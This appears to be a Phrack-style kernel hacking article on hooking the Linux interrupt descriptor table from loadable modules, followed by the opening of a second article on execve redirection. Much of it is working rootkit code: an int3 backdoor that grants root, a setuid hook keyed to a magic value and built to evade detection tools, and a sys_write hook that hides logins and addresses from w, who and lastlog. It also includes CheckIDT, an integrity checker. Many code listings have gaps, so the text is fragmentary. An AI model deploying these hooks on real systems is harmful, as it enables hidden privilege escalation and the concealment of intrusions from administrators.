Int *** Stub Address * Segment *** DPL * Type Handler Name
--------------------------------------------------------------------------
0 0xc01092c8 KERNEL_CS 0 Trap gate divide_error
1 0xc0109358 KERNEL_CS 0 Trap gate debug
2 0xc0109364 KERNEL_CS 0 Trap gate nmi
3 0xc0109370 KERNEL_CS 3 System gate int3
4 0xc010937c KERNEL_CS 3 System gate overflow
5 0xc0109388 KERNEL_CS 3 System gate bounds
6 0xc0109394 KERNEL_CS 0 Trap gate invalid_op
...
18 0xc0109400 KERNEL_CS 0 Trap gate machine_check
19 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int
20 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int
...
31 0xc01001e4 KERNEL_CS 0 Interrupt gate ignore_int
32 0xc010a0d8 KERNEL_CS 0 Interrupt gate IRQ0x00_interrupt
33 0xc010a0e0 KERNEL_CS 0 Interrupt gate IRQ0x01_interrupt
...
47 0xc010a15c KERNEL_CS 0 Interrupt gate IRQ0x0f_interrupt
128 0xc01091b4 KERNEL_CS 3 System gate system_call
The System.map contains the symbol names to the addresses shown above.
--------------------------------------------------------------------------+
number | Exception | Exception Handler |
--------------------------------------------------------------------------+
0 | Divide Error | divide_error() |
1 | Debug | debug() |
2 | Nonmaskable Interrupt | nmi() |
3 | Break Point | int3() |
4 | Overflow | overflow() |
5 | Boundary verification | bounds() |
6 | Invalid operation code | invalid_op() |
7 | Device not available | device_not_available() |
8 | Double Fault | double_fault() |
9 | Coprocessor segment overrun | coprocesseur_segment_overrun() |
10 | TSS not valid | invalid_tss() |
11 | Segment not present | segment_no_present() |
12 | stack exception | stack_segment() |
13 | General Protection | general_protection() |
14 | Page Fault | page_fault() |
15 | Reserved by Intel | none |
16 | Calcul Error with float virgul| coprocessor_error() |
17 | Alignement check | alignement_check() |
18 | Machine Check | machine_check() |
--------------------------------------------------------------------------+
To be clearer :
entry.S defines all the intermediate Handler, also called Generic Handler
or stub. The first Handler is written in asm, the real Handler written in
C.
For not being confused, lets call the first handler : asm Handler
and the second one the C Handler.
entry.S :
---------
**************************************************
ENTRY(nmi)
pushl $0
pushl $ SYMBOL_NAME(do_nmi)
jmp error_code
ENTRY(int3)
pushl $0
pushl $ SYMBOL_NAME(do_int3)
jmp error_code
ENTRY(overflow)
pushl $0
pushl $ SYMBOL_NAME(do_overflow)
jmp error_code
ENTRY(divide_error)
pushl $0
pushl $ SYMBOL_NAME(do_####name)
jmp error_code
Pushl $0 is only used for some exceptions. The UC is supposed to smear
the hardware error value of the exception onto the stack. Some exceptions
to not generate an error value and $0 (zero) is pushed instead. The last
line jumps to error_code (see linux/arch/i386/kernel/entry.S for details).
exception ---> intermediate Handler ---> error_code macro ---> Real Handler
3: Copy the hardware error value ($esp + 36) and the handler's address
($esp + 32) in esi and edi respectively.
5: Save the the stack's top Address into edx,then smear error_code which we
get back at point 3 and edx on the stack.
The stack's top address must be saved for later use.
6: Place the kernel data segment selector into the ds and es registry.
10: The two last instructions are for the back of the exception.
error_code will jump to the suitable exception Manager. The one that's
gonna actually handle the exceptions (see traps.c for detailed
information).
**************************************************************
asmlinkage void do_nmi(struct pt_regs * regs, long error_code)
{
unsigned char reason = inb(0x61);
extern atomic_t nmi_counter;
....
**************************************************************
struct pt_regs {
long ebx;
long ecx;
long edx;
long esi;
long edi;
long ebp;
long eax;
int xds;
int xes;
long orig_eax;
long eip;
int xcs;
long eflags;
long esp;
int xss;
};
A part of the registry are push on the stack by error_code, the others
are some registry pushed by the UC at the hardware level.
This handler will handle the exception and almost all time send a signal to
the process.
Mammon wrote a txt on how to hook interrupt under linux. The technique
I'm going to explain is similar to that of Mammon but will allow us
to handle the interrupt in a more generic/comfortable way.
ENTRY(int3)
pushl $0
pushl $ SYMBOL_NAME(do_int3)
jmp error_code
The C handler's address is pushed on the stack right after the dummy
hardware error value (zero) has been saved. The assembly fragment
error_code is executed next. Our approach is to rewrite such an asm handler
and push our own handler's address on the stack instead of the original one
(do_int3).
Example:
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
"pushl $0 \n"
"pushl ptr_handler(,1) \n"
"jmp *ptr_error_code "
::
);
}
Our new handler looks similar to the original one. The surrounding
statements are required to get it compiled with a C compiler.
The C Handler:
We get back two argument, one pointer on the registry, and err_code.
We have seen before that error_code push this two argument. We save the
old handler's address,the one we was supposed to push (pushl
$SYMBOL_NAME(do_int3)). We do a little printk to show that we hooked the
interrupt and go back to the old handler.Its the same way as hooking a
syscall with "classical method".
What's old_handler ?
To be clearer :
asm Handler
----------------
push 0
push our handler
jmp to error_code
error_code
----------
do some operation
pop our handler address
jmp to our C handler
our C Handler
--------------------
save the old handler's address
print a message
return to the real C handler
Real C Handler
-------------------
really deal with the interrupt
if(old_stub)
*old_stub=(unsigned long)get_stub_from_idt(3);
//assign new stub
idt[n].offset_high = (unsigned short) (new_addr >> 16);
idt[n].offset_low = (unsigned short) (new_addr & 0x0000FFFF);
return;
}
struct descriptor_idt:
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
It's a descriptor for the IDT. The only interesting fields are offset_high
and offset_low. It's the two fields we will modify.
n = the number of the interrupt to hook. idte will then contain the
given interrupt descriptor.
offset_high and offset_low do both 16 bits, we slide the bit for offset
high to the left,and we add offset_low. The whole part give the handler's
address.
pushl $0
pushl $ SYMBOL_NAME(do_####name)
jmp error_code
It's True.If you give a look in entry.S, they are almost all look like
this. But not all. Imagine you wanna hook the syscall's handler, The
device_not_aivable Handler (even if its not really interesting)or even the
hardware interrupt....How Will we do it ?
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
" call *%0 \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub)
);
}
Here, we make a call to our fake C handler, the handler is executed and
goes back to the asm handler which jumps to the true asm handler !
Our C handler :
What happens ?
We are going to change the address in the idt by the address of our asm
handler. This one will jump to our C handler and will go back to our asm
handler which, at the end, will jump to the true asm handler the address
of which we have saved.
::"m"(hostile_code),"m"(old_stub)
For those who had not felt up to read the doc on asm inline, here is the
syntax :
asm (
assembler instruction
: output operands
: input operands
: list of modified registers
);
You can put asm or __asm__. __asm__ is used to avoid confusion with other
vars. You can also put asm volatile, in this case the asm code won't
be changed (optimized) during the compilation.
The whole code is in annexe. All the next codes comes from this code.
In each new example, I will only show the asm handler et the C handler.
The rest will be the same.
int main ()
{
int a=8,b=0;
printf("A/B = %i\n",a/b);
return 0;
}
bash-2.05# gcc -I/usr/src/linux/include -O2 -c hookstub-V0.2.c
bash-2.05# insmod hookstub-V0.2.o interrupt=0
Inserting hook
Hooking finish
bash-2.05# ./test
Floating point exception
Interrupt 0 hijack
bash-2.05# rmmod hookstub-V0.2
Removing hook
bash-2.05#
In this code, we use MODULE_PARM which will allow to give parameters during
the module insertion. For further information about this syntax, read
"linux device drivers" from o'reilly [2] (chapter 2). This will allow us
to hook a chosen interrupt with the same module.
This first very simple backdoor will allow us to obtain a root shell.
The C handler is going to give the root rights to the process that has
generated the interrupt.
Asm handler
------------
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
" pushl %%ebx \n"
" movl %%esp,%%ebx \n"
" andl $-8192,%%ebx \n"
" pushl %%ebx \n"
" call *%0 \n"
" addl $4,%%esp \n"
" popl %%ebx \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub)
);
}
#define GET_CURRENT(reg) \
movl %esp, reg; \
andl $-8192, reg;
defined in entry.S.
We put the result on the stack and we call our function. The rest of the
asm code puts the stack back in its previous state and jumps to the
true handler.
C handler :
-------------
...
unsigned long hostile_code=(unsigned long)&my_function;
...
In practice :
--------------
printk("\n");
printk("EIP: %04x:[<%08lx>]",0xffff & regs->xcs,regs->eip);
if (regs->xcs & 3)
printk(" ESP: %04x:%08lx",0xffff & regs->xss,regs->esp);
printk(" EFLAGS: %08lx\n",regs->eflags);
printk("EAX: %08lx EBX: %08lx ECX: %08lx EDX: %08lx\n",
regs->eax,regs->ebx,regs->ecx,regs->edx);
printk("ESI: %08lx EDI: %08lx EBP: %08lx",
regs->esi, regs->edi, regs->ebp);
printk(" DS: %04x ES: %04x\n",
0xffff & regs->xds,0xffff & regs->xes);
__asm__("movl %%cr0, %0": "=r" (cr0));
__asm__("movl %%cr2, %0": "=r" (cr2));
__asm__("movl %%cr3, %0": "=r" (cr3));
printk("CR0: %08lx CR2: %08lx CR3: %08lx\n", cr0, cr2, cr3);
}
You can use this code to print the state of the registers at every
exception.
We can also hook interrupts generated by IRQs with the same method but
they are less interesting to hook (unless you have a great idea ;). We are
going to hook interrupt 33 which is keyboard's. The problem is that this
interrupt happens a lot more. The handler will be executed a large number
of times and will have to go very fast to not block the system. To avoid
this, we are going to use bottom half. There are functions of low priority
which are used for interrupt handling in most cases . The kernel is waiting
for the adequate time to launch it, and other interruptions are not masked
during its execution
But they will be executed before the processor goes back in user mode.
So the bottom half are useful to ensure the quick handle of an
interruption.
----------------+-------------------------------+
Bottom half | Peripheral equipment |
----------------+-------------------------------+
CONSOLE_BH | Virtual console |
IMMEDIATE_BH | Immediate tasks file |
KEYBOARD_BH | Keyboard |
NET_BH | Network interface |
SCSI_BH | SCSI interface |
TIMER_BH | Clock |
TQUEUE_BH | Periodic tasks queue |
... | |
----------------+-------------------------------+
My goal writing this paper is not to study the bottom halves, as it's a
too wide topic. Anyway, for more informations about that topic, you can
have a look at
http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html [8]
IRQ list
--------
BEWARE ! : the number of the interrupts are not always the same for the
IRQs!
----+---------------+----------------------------------------
IRQ | Interrupt | Peripheral equipment
----+---------------+----------------------------------------
0 | 32 | Timer
1 | 33 | Keyboard
2 | 34 | PIC cascade
3 | 35 | Second serial port
4 | 36 | First serial port
6 | 37 | Floppy drive
8 | 40 | System clock
11 | 43 | Network interface
12 | 44 | PS/2 mouse
13 | 45 | Mathematic coprocessor
14 | 46 | First EIDE disk controller
15 | 47 | Second EIDE disk controller
----+---------------+----------------------------------------
The tasklets are the functions themselves. There are put together in list
of elements of type tq_struct :
struct tq_struct {
struct tq_struct *next; /* linked list of active bh's */
unsigned long sync; /* must be initialized to zero */
void (*routine)(void *); /* function to call */
void *data; /* argument to function */
};
(include/linux/tqueue.h)
When we hit a key, the interrupt happens twice. Once when we push the
key and once when we release the key. The code below will display a message
every 10 interrupts. If we hit 5 keys, the message appears.
Code
----
...
struct Variable
{
int entier;
char chaine[10];
};
...
static void evil_fonction(void * status)
{
struct Variable *var = (struct Variable * )status;
nb++;
if((nb%10)==0)printk("Bottom Half %i integer : %i string : %s\n",
nb,var->entier,var->chaine);
}
...
asmlinkage void my_function()
{
static struct Variable variable;
static struct tq_struct my_task = {NULL,0,evil_fonction,&variable};
variable.entier=3;
strcpy(variable.chaine,"haha hijacked key :) ");
queue_task(&my_task,&tq_immediate);
mark_bh(IMMEDIATE_BH);
}
mark_bh(IMMEDIATE_BH)
So we can read the scancode of the keyboard thanks to the function inb,
and its status (pushed, released). Unfortunately, I'm not sure of the port
to read. The port for the scancode is 0x60 and the port for the status is
0x64.
scancode=inb(0x60);
status=inb(0x64);
Rem : be ware, the numbers of the syscalls are not the same in 2.2.*
and 2.4.* kernels.
Thanks to the technique that we have just used here, we can also hook
the syscalls. When a syscall is called, all the parameters of the syscall
are in the registers.
We can get these values thanks to the structure pt_regs that we've seen
before. We are going to hook syscalls at the IDT level and not in the
syscall_table. kstat and all currently available LKM detection tools will
fail in detecting our voodoo. I won't show you all what can be done by
hooking the syscalls, the technique used by pragmatic or so in their LKMs
are applicable here. I will show you how to hook some syscalls, you will
be able to hook those you want using the same technique.
SYS_SETUID:
-----------
EAX: 213
EBX: uid
We are going to begin with a simple case, a backdoor that change the rights
of a process into root. The same backdoor as in 3.5 but we are going to
hook the syscall setuid.
asm handler :
--------------
...
#define sys_number 213
...
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
//save the register value
" pushl %%ds \n"
" pushl %%eax \n"
" pushl %%ebp \n"
" pushl %%edi \n"
" pushl %%esi \n"
" pushl %%edx \n"
" pushl %%ecx \n"
" pushl %%ebx \n"
//compare if it's the good syscall
" xor %%ebx,%%ebx \n"
" movl %2,%%ebx \n"
" cmpl %%eax,%%ebx \n"
" jne finis \n"
//if it's the good syscall,
//put top stack address on stack :)
" mov %%esp,%%edx \n"
" mov %%esp,%%eax \n"
" andl $-8192,%%eax \n"
" pushl %%eax \n"
" push %%edx \n"
" call *%0 \n"
" addl $8,%%esp \n"
"finis: \n"
//restore register
" popl %%ebx \n"
" popl %%ecx \n"
" popl %%edx \n"
" popl %%esi \n"
" popl %%edi \n"
" popl %%ebp \n"
" popl %%eax \n"
" popl %%ds \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
);
}
By changing the value of sys_number, we can hook any syscall with this asm
handler.
C handler
----------
We get the value of the registers in a pt_regs structure and the address
of the current fd. We compare the value of ebx with 12345, if it is equal
then we set the uid and the gid of the current process to 0.
In practice :
--------------
SYS_WRITE:
----------
EAX: 4
EBX: file descriptor
ECX: ptr to output buffer
EDX: count of bytes to send
C handler
----------
if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0||
strcmp(my_task->comm,"lastlog")==0 ||
((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
{
buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
copy_from_user(buffer,ptr,regs->edx);
if(hide_string)
{
ptr3=strstr(buffer,hide_string);
}
else
{
ptr3=strstr(buffer,HIDE_STRING);
}
if(ptr3 != NULL )
{
if (false_string)
{
strncpy(ptr3,false_string,strlen(false_string));
}
else
{
strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
}
copy_to_user(ptr,buffer,regs->edx);
}
kfree(buffer);
}
}
- We compare the name of the process with a defined program name and with
the name that we will specify in param when we insert our module
(progy param).
- We allocate some space for the buffer that will receive the string that
is in regs->ecx
- We copy the string that sys_write is going to write from the userland to
the kernelland (copy_from_user)
- We search for the string we want to hide in the string that sys_write is
going to write.
- If found,we change the string to be hidden with the one wanted in
our buffer.
- we copy the false string in the userland (copy_to_user)
In practice :
--------------
%w
12:07am up 38 min, 2 users, load average: 0.63, 0.61, 0.48
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
marcel tty1 - 11:32pm 35:21 15:01 0.03s sh /usr
marcel pts/1 :0.0 11:58pm 8:57 0.08s 0.03s man setuid
%ps -au
USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND
marcel 133 0.0 1.4 2044 1256 pts/0 S May12 0:00 -bash
root 146 0.0 1.4 2032 1260 pts/0 S May12 0:00 -su
root 243 0.0 1.6 2612 1444 pts/0 S 00:05 0:00 -sh
root 259 0.0 0.9 2564 836 pts/0 R 00:07 0:00 ps -au
%
The string "kad" is hidden. The whole source code is in annexe CODE 3.
This example is quite simple but could be more interesting. Instead of
changing "kad" with "marcel", we could change our IP address with
another. And, instead of hooking the output of w, who or lastlog, we could
use klogd...
The complete hooking of sys_write can be useful in some case, like for example
changing an IP with another. But if you change a string completely,
you won't be hidden long. If you change a string with another, it's the whole
system that will be changed. Even a simple cat will be influenced :
The C handler for this example is the same as the previous one without the
if condition. Beware, this could slow down your system a lot.
This example is only "for fun" :), don't misuse it. You could turn an admin
mad... Thanks to Spacewalker for the idea (Hi Space ! :). The idea is to hook
the syscall sys_open so that it opens another file instead of a defined file,
but only if it is a defined "entity" that opens the file. This entity will be
httpd here...
SYS_OPEN:
---------
EAX : 5
EBX : ptr to pathname
ECX : file access
EDX : file permissions
C handler :
------------
--[ 6 - CHECKIDT
%./checkidt
CheckIDT V 1.1 by kad
---------------------
Option :
-a nb show all info about one interrupt
-A show all info about all interrupt
-I show IDT address
-c create file archive
-r read file archive
-o file output filename (for creating file archive)
-C compare save idt & new idt
-R restore IDT
-i file input filename to compare or read
-s resolve symbol thanks to /boot/System.map
-S file specify a map file
%./checkidt -a 3 -s
Int *** Stub Address *** Segment *** DPL *** Type Handler Name
--------------------------------------------------------------------------
3 0xc0109370 KERNEL_CS 3 System gate int3
%./checkidt -c
So CheckIDT has restored the values of the IDT as they were before
inserting the module. However, the module is still here but has no effect.
As in tripwire, I advice you to put the IDT save file in a read only area,
otherwise someone could be compromised.
rem : if the module is well hidden, you will also be warned of the modifications
of IDT.
--[ 7 - REFERENCES
[1] http://www.linuxassembly.org/resources.html#tutorials
Many docs on asm inline
[2] http://www.xml.com/ldd/chapter/book/
linux device drivers
[3] http://www.lxhp.in-berlin.de/lhpsysc0.html
detailed syscalls list
[4] http://eccentrica.org/Mammon/
Mammon site, thanks mammon ;)
[5] http://www.oreilly.com/catalog/linuxkernel/
o'reilly book , great book :)
[6] http://www.tldp.org/LDP/lki/index.html
Linux Kernel 2.4 Internals
[8] http://users.win.be/W0005997/UNIX/LINUX/IL/kernelmechanismseng.html
good info about how bottom half work
[9] http://www.s0ftpj.org/en/tools.html
kstat
GREETZ
--[ 8 - Appendix
CODE 1:
-------
/*****************************************/
/* hooking interrupt 3 . Idea by mammon */
/* with kad modification */
/*****************************************/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#include <linux/malloc.h>
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long ptr_gdt_table;
unsigned long old_stub;
unsigned long old_handler=do_int3;
extern asmlinkage void my_stub();
unsigned long ptr_error_code=error_code;
unsigned long ptr_handler=(unsigned long)&my_handler;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
"pushl $0 \n"
"pushl ptr_handler(,1) \n"
"jmp *ptr_error_code "
::
);
}
int init_module(void)
{
ptr_idt_table=get_addr_idt();
hook_stub(3,&my_stub,&old_stub);
return 0;
}
void cleanup_module()
{
hook_stub(3,(char *)old_stub,NULL);
}
******************************************************************************
CODE 2:
-------
/****************************************************/
/* IDT int3 backdoor. Give root right to the process
/* Coded by kad
/****************************************************/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#ifndef KERNEL2
#include <linux/slab.h>
#else
#include <linux/malloc.h>
#endif
/*------------------------------------------*/
asmlinkage void my_function(unsigned long);
/*------------------------------------------*/
MODULE_AUTHOR("Kad");
MODULE_DESCRIPTION("Hooking of int3 , give root right to process");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
" pushl %%ebx \n"
" movl %%esp,%%ebx \n"
" andl $-8192,%%ebx \n"
" pushl %%ebx \n"
" call *%0 \n"
" addl $4,%%esp \n"
" popl %%ebx \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub)
);
}
module_init(kad_init);
module_exit(kad_exit);
******************************************************************************
CODE 3:
-------
/**************************************************************/
/* Hooking of sys_write for w,who and lastlog.
/* You can add an another program when you insmod the module
/* By kad
/**************************************************************/
#define MODULE
#define __KERNEL__
#include <linux/module.h>
#include <linux/tty.h>
#include <linux/sched.h>
#include <linux/init.h>
#ifndef KERNEL2
#include <linux/slab.h>
#else
#include <linux/malloc.h>
#endif
#include <linux/interrupt.h>
#include <linux/compatmac.h>
#define sys_number 4
#define HIDE_STRING "localhost"
#define FALSE_STRING "somewhere"
#define PROG "w"
/*------------------------------------------*/
asmlinkage char * my_function(struct pt_regs * regs,unsigned long fd_task);
/*------------------------------------------*/
MODULE_AUTHOR("kad");
MODULE_DESCRIPTION("Hooking of sys_write");
MODULE_PARM(interrupt,"i");
MODULE_PARM_DESC(interrupt,"Interrupt number");
MODULE_PARM(hide_string,"s");
MODULE_PARM_DESC(hide_string,"String to hide");
MODULE_PARM(false_string,"s");
MODULE_PARM_DESC(false_string,"The fake string");
MODULE_PARM(progy,"s");
MODULE_PARM_DESC(progy,"You can add another program to fake");
/*------------------------------------------*/
unsigned long ptr_idt_table;
unsigned long old_stub;
extern asmlinkage void my_stub();
unsigned long hostile_code=(unsigned long)&my_function;
int interrupt;
char *hide_string;
char *false_string;
char *progy;
/*------------------------------------------*/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
void stub_kad(void)
{
__asm__ (
".globl my_stub \n"
".align 4,0x90 \n"
"my_stub: \n"
//save the register value
" pushl %%ds \n"
" pushl %%eax \n"
" pushl %%ebp \n"
" pushl %%edi \n"
" pushl %%esi \n"
" pushl %%edx \n"
" pushl %%ecx \n"
" pushl %%ebx \n"
//compare it's the good syscall
" xor %%ebx,%%ebx \n"
" movl %2,%%ebx \n"
" cmpl %%eax,%%ebx \n"
" jne finis \n"
//if it's the good syscall , continue :)
" mov %%esp,%%edx \n"
" mov %%esp,%%eax \n"
" andl $-8192,%%eax \n"
" pushl %%eax \n"
" push %%edx \n"
" call *%0 \n"
" addl $8,%%esp \n"
"finis: \n"
//restore register
" popl %%ebx \n"
" popl %%ecx \n"
" popl %%edx \n"
" popl %%esi \n"
" popl %%edi \n"
" popl %%ebp \n"
" popl %%eax \n"
" popl %%ds \n"
" jmp *%1 \n"
::"m"(hostile_code),"m"(old_stub),"i"(sys_number)
);
}
if(strcmp(my_task->comm,"w")==0 || strcmp(my_task->comm,"who")==0
|| strcmp(my_task->comm,"lastlog")==0
|| ((progy != 0)?(strcmp(my_task->comm,progy)==0):0) )
{
buffer=(char * ) kmalloc(regs->edx,GFP_KERNEL);
copy_from_user(buffer,ptr,regs->edx);
if(hide_string)
{
ptr3=strstr(buffer,hide_string);
}
else
{
ptr3=strstr(buffer,HIDE_STRING);
}
if(ptr3 != NULL )
{
if (false_string)
{
strncpy(ptr3,false_string,strlen(false_string));
}
else
{
strncpy(ptr3,FALSE_STRING,strlen(FALSE_STRING));
}
copy_to_user(ptr,buffer,regs->edx);
}
kfree(buffer);
}
}
module_init(kad_init);
module_exit(kad_exit);
******************************************************************************
<++> checkidt/Makefile
all: checkidt.c
gcc -Wall -o checkidt checkidt.c
<-->
<++> checkidt/checkidt.c
/*
* CheckIDT V1.1
* Play with IDT from userland
* It's a tripwire kind for IDT
* kad 2002
*
* gcc -Wall -o checkidt checkidt.c
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <asm/segment.h>
#include <string.h>
/***********GLOBAL**************/
int fd_kmem;
unsigned long ptr_idt;
/******************************/
struct descriptor_idt
{
unsigned short offset_low,seg_selector;
unsigned char reserved,flag;
unsigned short offset_high;
};
struct Mode
{
int show_idt_addr;
int show_all_info;
int read_file_archive;
int create_file_archive;
char out_filename[20];
int compare_idt;
int restore_idt;
char in_filename[20];
int show_all_descriptor;
int resolve;
char map_filename[40];
};
printf("--------------------------------------------------------------------------
\n");
}
else
{
printf("\n");
printf("---------------------------------------------------\n");
}
if(interrupt >= 0)
{
readkmem(descriptor,ptr_idt+8*interrupt,sizeof(struct
descriptor_idt));
stub_addr=(unsigned long)(descriptor->offset_high << 16) +
descriptor->offset_low;
selecteur=(unsigned short) descriptor->seg_selector;
if(descriptor->flag & 64) dpl=3;
else dpl = 0;
if(descriptor->flag & 1)
{
if(dpl)
strncpy(type,SYSTEM,sizeof(SYSTEM));
else strncpy(type,TRAP,sizeof(TRAP));
}
else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
strcpy(segment,get_segment(selecteur));
if(resolve >= 0)
{
resolv(file,stub_addr,name);
printf("%-7i 0x%-14.8x %-12s%-8i%-16s
%s\n",interrupt,stub_addr,segment,dpl,type,name);
}
else
{
printf("%-7i 0x%-14.8x %-12s %-
7i%s\n",interrupt,stub_addr,segment,dpl,type);
}
}
if(all_descriptor >= 0 )
{
for (x=0;x<(get_size_idt()+1)/8;x++)
{
readkmem(descriptor,ptr_idt+8*x,sizeof(struct
descriptor_idt));
stub_addr=(unsigned long)(descriptor->offset_high << 16) +
descriptor->offset_low;
if(stub_addr != 0)
{
selecteur=(unsigned short) descriptor-
>seg_selector;
if(descriptor->flag & 64) dpl=3;
else dpl = 0;
if(descriptor->flag & 1)
{
if(dpl)
strncpy(type,SYSTEM,sizeof(SYSTEM)
);
else strncpy(type,TRAP,sizeof(TRAP));
}
else strncpy(type,INTERRUPT,sizeof(INTERRUPT));
strcpy(segment,get_segment(selecteur));
if(resolve >= 0)
{
bzero(name,strlen(name));
resolv(file,stub_addr,name);
printf("%-7i 0x%-14.8x %-12s%-8i%-16s
%s\n",x,stub_addr,segment,dpl,type,name);
}
else
{
printf("%-7i 0x%-14.8x %-12s %-
7i%s\n",x,stub_addr,segment,dpl,type);
}
}
}
}
free(descriptor);
}
void usage()
{
fprintf(stderr,"CheckIDT V 1.1 by kad\n");
fprintf(stderr,"---------------------\n");
fprintf(stderr,"Option : \n");
fprintf(stderr," -a nb show all info about one interrupt\n");
fprintf(stderr," -A showw all info about all interrupt\n");
fprintf(stderr," -I show IDT address \n");
fprintf(stderr," -c create file archive\n");
fprintf(stderr," -r read file archive\n");
fprintf(stderr," -o file output filename (for creating file
archive)\n");
fprintf(stderr," -C compare save idt & new idt\n");
fprintf(stderr," -R restore IDT\n");
fprintf(stderr," -i file input filename to compare or read\n");
fprintf(stderr," -s resolve symbol thanks to
/boot/System.map\n");
fprintf(stderr," -S file specify a map file\n\n");
exit(1);
}
while((option=getopt(argc,argv,"hIa:Aco:Ci:rRsS:"))!=-1)
{
switch(option)
{
case 'h': usage();
exit(1);
case 'I': mode->show_idt_addr=1;
break;
case 'a': mode->show_all_info=atoi(optarg);
break;
case 'A': mode->show_all_descriptor=1;
break;
case 'c': mode->create_file_archive=1;
break;
case 'r': mode->read_file_archive=1;
break;
case 'R': mode->restore_idt=1;
break;
case 'o': bzero(mode->out_filename,sizeof(mode-
>out_filename));
if(strlen(optarg) > 20)
{
fprintf(stderr,"Filename too long\n");
exit(-1);
}
strncpy(mode-
>out_filename,optarg,strlen(optarg));
break;
case 'C': mode->compare_idt=1;
break;
case 'i': bzero(mode->in_filename,sizeof(mode-
>in_filename));
if(strlen(optarg) > 20)
{
fprintf(stderr,"Filename too long\n");
exit(-1);
}
strncpy(mode-
>in_filename,optarg,strlen(optarg));
break;
case 's': mode->resolve=1;
break;
case 'S': bzero(mode->map_filename,sizeof(mode-
>map_filename));
if(strlen(optarg) > 40)
{
fprintf(stderr,"Filename too
long\n");
exit(-1);
}
if(optarg)strncpy(mode-
>map_filename,optarg,strlen(optarg));
break;
}
}
printf("\n");
ptr_idt=get_addr_idt();
if(mode->show_idt_addr >= 0)
{
fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt);
}
fd_kmem=open("/dev/kmem",O_RDWR);
if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0)
{
show_all_info(mode->show_all_info,mode->show_all_descriptor,mode-
>map_filename,mode->resolve);
}
if(mode->create_file_archive >= 0)
{
create_archive(mode->out_filename);
}
if(mode->read_file_archive >= 0)
{
read_archive(mode->in_filename);
}
if(mode->compare_idt >= 0)
{
compare_idt(mode->in_filename,mode->restore_idt);
}
if(mode->restore_idt >= 0)
{
compare_idt(mode->in_filename,mode->restore_idt);
}
printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL);
free(mode);
return 0;
}
<-->
==Phrack Inc.==
|=---=[ 5 Short Stories about execve (Advances in Kernel Hacking II) ]=--=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ palmers <palmers@team-teso.net> ]=-----------------=|
--[ Contents
1 - Introduction
2 - Execution Redirection
3 - Short Stories
3.1 - The Classic
3.2 - The Obvious
3.3 - The Waiter
3.4 - The Nexus
3.5 - The Lord
4 - Conclusion
5 - Reference
Appendix A: stories.tgz.uu
Appendix B: fluc.c.gz.uu
--[ 1 - Introduction
What once was said cannot be banished. Expiation of the wrongs that
inspire peoples thinking and opinion may change.
The example code just show how this techniques can be used in a lkm.
Further, I implemented them only for Linux. These techniques are not
limited to Linux. With minor (and in a few cases major) modifications most
can be ported to any UNIX.
restore_do_execve ();
ret = do_execve (file, arvp, envp, regs);
redirect_do_execve ();
...
Detecting this one is not as easy as detecting the classic and depends on
the technique used to replace it. (Checking for a jump instruction right at
function begin is certainly a good idea).
Upon execution, the binary has to be opened for reading. The kernel gives
a dedicated function for this task, open_exec. It will open the binary file
and do some sanity checks.
As open_exec needs the complete path to the binary to open it this is
again easy going. We just replace the filename on demand and call the
original function. open_exec is called from within do_execve.
After the binary file is opened, its ready to be read, right? Before it
is done, the according binary format handler is searched. The handler
processes the binary. Normally, this ends in the start of a new process.
/*
* This structure defines the functions that are
* used to load the binary formats that linux
* accepts.
*/
struct linux_binfmt {
struct linux_binfmt * next;
struct module *module;
int (*load_binary)(struct linux_binprm *, \
struct pt_regs * regs);
int (*load_shlib)(struct file *);
int (*core_dump)(long signr, struct pt_regs * regs, \
struct file * file);
unsigned long min_coredump; /* minimal dump size */
};
prepare_binprm (bin);
goto out;
}
out:
return old_load_binary (bin, regs);
}
But how can we get the binary handlers? They are not exported, if not
